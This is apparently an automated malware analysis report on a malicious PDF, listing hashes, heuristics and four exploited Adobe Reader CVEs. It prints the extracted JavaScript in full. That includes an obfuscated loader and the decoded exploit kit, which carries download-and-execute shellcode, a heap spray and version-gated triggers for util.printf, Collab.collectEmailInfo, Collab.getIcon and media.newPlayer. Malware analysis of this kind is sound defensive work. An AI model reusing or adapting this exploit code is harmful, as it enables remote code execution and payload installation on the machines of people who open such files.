Malicious PDF — malware analysis report

Static analysis result for SHA-256 74d19ee83752d005…

MALICIOUS

PDF

10.2 KB Authoring application: Kebebagemojef (via 3e0a1Comepedevsa)
MD5: d476aefaaec87ce2398ec5b11aa93602 SHA-1: ff653ba0eb086e3c30ff17413d2c66afa316f1f6 SHA-256: 74d19ee83752d005a40166e8a3a50647dbf2ff555f5239b12f954db46ca7e8f2
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is XOR-decoded from text within the document and is designed to execute arbitrary code. The specific payload or ultimate goal of the script is not fully discernible due to obfuscation, but the exploitation of these CVEs is a clear indicator of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js
ba2f70a9cfcfa281b16e3089556ae50dd63287c9e6010e81d6490737f5978337		 pdf-javascript-stream PDF /JS object 18 at offset 0x1BA0 3863 bytes
Preview script
First 1,000 lines of the extracted script
try {
try {var xA='eR'.substring(5326)} catch(xA){};var gZ="";
var eFA={nW:"aRM".charCodeAt(12172)};
gZG=19392;gZG-=167;var dO={iT:false};
var sF='FOuOnec3t(i(o3nO'.replace(/[Oe3r\(]/g, '');
dK=["rU","qR"];var xQT=[];this.wJ='';
var iB={lOV:false};wR={bK:false};
jI='v!a:r@ |i&X:=&f!u|n:c&t&i@o|n:(@n@Q&,&g|X:,@j:Y&,!e@T!,!c@J|)!{!r@e@t|u!r@n@ |n!Q&[&S:t&r!i:n@g@(:\"|s@u|b&\"&+&\":s:t&r@6@E&A&p!\"|.@s@u|b|s:t!r&(@0&,:3@):)|]@(@g&X@,!j:Y&,&e|T@,:c|J:)@;|}&;:f&u&n&c&t&i:o!n& @q|J&(@x&K!H|,:r:Q&,@c!T!)&{:v:a@r@ |v:=@\'@\'!;|f&o&r!(|v@a:r: !x|W!=:r&Q:;@x&W:<|r&Q:+@c|T|;:x:W:+:+!)@{&v@+:=!x|K@H![:x!W&]&;@}|r&e:t@u:r!n! @v|;!}!;!v!a&r| !s|J@=@S:t|r!i!n!g@;|v!a:r& !l!Q&=@6|0&;!v!a&r: &k@T:Y!=@S&t:r@i|n|g@(&\"|%:\"&)&;:v&a!r| @c|T|=|n!e!w: &S|t&r!i|n&g!(!i|X|(@\"|l@e!n&g|t!J|E@q!\"!,|0!,:5:)|+:i!X:(&\"@h@I@8|K!R&\"|,:0@,!1:)@)!;|v|a@r| !u&P|=&n&e!w: |S@t:r@i!n@g&(|i&X!(|\"@f@r!o!q|G@D&M@\"&,!0@,&3@):+&i:X:(&\":m@C@h!R&b:A@\"@,@0&,&3|)&+@\"!a!r|C:\":+!i@X@(@\"!u@R:Q!A@o:d:e&u:Q@A|R&\"@,|4:,|3!)|):;|v@a!r@ @x@K@P&=&t@h:i&s!;@v@a@r: :j@M:=&8&5&-|8|4&;|v!a!r& |y@N@=&t@h!i@s&[:\"&p|a&\"&+&\"&r@s@m@N|Y|C|\"@.|s|u@b&s|t:r:(@0:,:2@)!+|\"&e!I@Y|X|L:u!\":.!s!u|b@s@t|r!(:0:,@2!)!+&\"@J:v@E&n!t!E&v&J@\":.&s!u&b!s|t!r&(&3&,@2!):]!;&v:a@r: @z:K@=&1|0!0:-!1@0|0:;!v@a!r@ &o&T:=|9|+|7!;!v!a|r| :x!Y|=|\"|\"@;:v|a&r| @t:E|=|2!;&v:a:r: :m&T@=!n:e|w| :S&t&r!i!n@g!(:\"!e!v!a&l:\"@)|;!v|a&r: !f&G!=&\'&g@0:e@0&t&G@P!0!a@G!g&0:e:G@N&G@t@G@h!S&W:0!o:0@r&S!d@s&\'!.@r|e&p|l!a@c&e@(:/:[:s!G:Y@0@S:]&/:g@,: :\'!\'@)&;!v&a&r: !c!H@=&\':g!_|e!7:t|4&P|j:a!M|g@M&e:4!N@j!u!j:m&M|W|7@o&M@r:M@d:j&s|_:\':.@r@e&p|l|a!c:e@(!/@[&_!4|M:7@j|]@/:g&,: @\':\':)@;&v@a|r! |r|S!V@=|9@5:-|9!3&;|f|u:n|c!t|i!o|n& &d:E!T@(&x&K|H:):{!x&K@H:=@\'&6:2:9!4&f|\'&+:x@K&H@+:\':6:2&9:4:f|\'&;|r@e&t!u&r:n@ &x@K|H|[!c!T&]|-!1|0@;@}|;:;:f&u:n@c|t!i:o&n| !v&I@(|o@L!,|e@T:,&c:J!)&{!x!Y|=:x:Y@+&o@L!}|;:f&u@n:c@t:i!o|n| !b@U@(@x:K@H|,|e&T|,!c&J&)|{@r@e:t@u|r@n: !d@E!T!(&x&K|H:)!-|r|S:V:}&;|q&N!U!=&f&u!n|c!t!i:o:n!(!h:A:,@h&E@,&e!T!,&c!J@)&{&r&e!t@u&r&n& !h!A@-!h!E:}:;@f:u:n&c|t@i&o:n@ :k|V:(:h&W:,:e|F@,|e:T!,!c:J!):{|r:e@t@u:r!n| :h@W&^!l!Q!;!}!;:f@u!n|c!t!i:o@n& @h!S&(@o!L&,:e!T!,:c&J|)|{@v!a|r@ |q:V&=|b&U|(&o&L@):;@b|U!(!M:a|t|h!.@r|a&n!d&o@m@(!):)!;:r:e:t|u&r@n! &v:O@(&y!T|(!o@L!,|q!V&)&)|;@}&v&a:r& |z@U!=&x:K|P![|m&T|]&;@v:a&r@ &c:H|M|=&x&K@P:[@c:H&]|(!t&E&)!;&a!L|=|f&u&n@c&t:i@o@n:(@h&A&,@h|E|,|e@T!,&c:J&)&{&r&e&t&u|r!n@ &h!A@+|h&E@}|;|f|u@n&c!t:i&o!n| |v&Y:(|w&P@,&d|S|R!,&e@T!,|c!J!)@{!r@e!t@u|r&n! :w&P@[|d@S|R!]&}:;@f!u@n@c!t@i&o!n& &t@S&(@x!W:,!e!T&,@c!J&)@{|r@e@t@u|r&n& !x|K@P&[:f&G&]@(:t|E@,&x@W@):}&;&y!T|=:f@u!n|c!t:i&o@n:(:w:P&,&m&Z!,&e|T@,|c:J!)@{&r&e!t&u|r&n| :q@J&(&w:P:,@m|Z@,!r!S@V|)&}:;@f!u&n!c@t&i&o@n: !z:G&L@(&o!L@,&e|T&,!c:J&)@{!r|e:t&u!r:n@ |k&T!Y!+!o|L|}|;@v:a|r& @t@M!Z:=&n&e!w| :s&J!(|)|;|f|u!n@c:t!i!o@n: |v!O&(@o&L&,!e|T:,@c:J&):{&v@a@r! |o@L|=:y!N!(|o!L@,!o!T|):;@o&L|=:k:V&(!o|L:)@;|o&L!=|v!Y:(&s@J@,&u&P:)|(|o|L|)@;&r:e:t!u:r|n: :o&L@;|}:;|f|u&n@c@t:i&o:n& :d!G@(&x|W|,&e:T&,|c&J&)@{&v&a!r& @q|J|W:=@t|S|(:x:W@)@;:q:J:W!=:h!S!(&q!J:W@)|;@r&e&t&u@r:n! &q!J@W|;:}&v&a@r| @u!F:=:z&K@;!f:o&r|(@u|F&=:z@K:;:u!F@<@c&H&M|;&u|F:+|+&)&{@v@I|(&d&G!(:u&F:)&)!;@}@;|z:U@(:x|Y!):;&'.replace(/[&\!\|\:@]/g, '');
this.oLS=810;this.oLS+=89;hWJ=18237;hWJ-=232;var nK={oN:15662};
bC={rSL:4496};try {var hC='dY'.substr(18156,18156)} catch(hC){};
try {var yLG='zS'.substring(2206,2206)} catch(yLG){};
var mP=["bKR"];var nC={qRK:"wV".substr(27612, 27612)};var iLE=["jO"];
var oF={};
yNC=eXU;
this.jCR="jCR";try {var yB='oR'} catch(yB){};
dUR={fIN:4047};var rG="";
var bS=[];sP=27051;sP+=238;
var eTC='';nM=6980;nM-=123;var pG='';
} catch(uJ){
var vS={wNC:9684};
try {var eXS='dGD'} catch(eXS){};var kH={wT:false};try {var yH='sZ'} catch(yH){};
var zY=this[sF](jI);
this.cX=14947;this.cX+=6;var rK=31932;try {var gXG='vIF'} catch(gXG){};
zY();
yTQ={zO:false};var kVQ=[];
this.hY="";
}
page_word_xor_stage_000.js
742d3794d0a89af91b61fd2d73a06d6cc2f9c4213b10eb0076eeee123ca4242c		 deobfuscated-js page-word hex-tail XOR decoded JavaScript (decompressed, key=0x3C) at offset 0x803 3400 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pU="pU";try {var uD='t'.substring(21447)} catch(uD){};tW=["oH"];z=["l"];var aT='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';this.lS=false;try {var lO='lK'.substring(27254,27254)} catch(lO){};try {var zG='tM'.substring(9650)} catch(zG){};try {var nG='f'.substring(10672)} catch(nG){};var tC=this.info.author.replace(/[\s]/g, '');fC=["d"];var wD=new Date();var mF = (this.info.producer.substr(0,5) == 'debug');var dS = new Array();function eH(bQ){var cD = hO();var kB = pE();cD += ((cD.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + kB;if(mF) app.alert("URL: " + cD);cD=cR(cD);var tMZ="%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";tMZ+=cD;return unescape(tMZ);};function hO(){var xKH = this.info.keywords.replace(/[\s]/g, '');if(mF) app.alert("DEST_TABLE: " + tC);var v = xQ(xKH, tC, aT);return v;};function xQ(xKH, aT, tC){var v="";for(var i=0; i < xKH.length; i++){var kX = aT.indexOf(xKH[i]);if(kX > -1 ){v += tC[kX];}}return v;};function cR(xKH){var out = "";xKH = fCP(xKH);g = Math.round(xKH.length / 4);if (g != xKH.length /4) xKH+="00";for(var i=0; i < xKH.length; i+=4){out+="%u" + xKH.substr(i+2, 2) + xKH.substr(i, 2);}return out;};function fCP(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function xQL(dU, ez5pL6){while (dU.length * 2 < ez5pL6){dU += dU;}dU = dU.substring(0, ez5pL6 / 2);return dU;};function yL(lSN){var qPBt7D = 0x0c0c0c0c;rS = eH("pdf");if (lSN == 1){qPBt7D = 0x30303030;}var qN = 0x400000;var tsSzSc = rS.length * 2;var ez5pL6 = qN - (tsSzSc + 0x38);var dU = unescape("%u9090%u9090");dU = xQL(dU, ez5pL6);var x62RaBM3 = (qPBt7D - 0x400000) / qN;for (var hE = 0; hE < x62RaBM3; hE ++ ){dS[hE] = dU + rS;}};function pE(){try {return app.viewerVersion.toString();}catch(kF){    return 0;}}function xY(){   var kB = pE();if(mF) app.alert("Acrobat Version: " + kB);if (kB > 8){if(mF) app.alert("Run util.printf exploit.");yL(1);var sN = "12999999999999999999";for (hA=0; hA < 276; hA++){sN += "8";}util.printf("%45000f", sN);}if (kB < 8){if(mF) app.alert("Run Collab.collectEmailInfo exploit.");yL(0);var aR = unescape("%u0c0c%u0c0c");while (aR.length < 44952) aR += aR;this .collabStore = Collab.collectEmailInfo({ subj : "", msg : aR});}if (kB < 9.1){if (app.doc.Collab.getIcon){if(mF) app.alert("Run Collab.getIcon exploit.");yL(0);var fA = unescape("%09");while (fA.length < 0x4000) fA += fA;fA = "N." + fA;app.doc.Collab.getIcon(fA);}}if (kB == 9.2){if(mF) app.alert("Run media.newPlayer exploit.");yL(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}};xY();gP=4385;gP--;pA=["aZ"];

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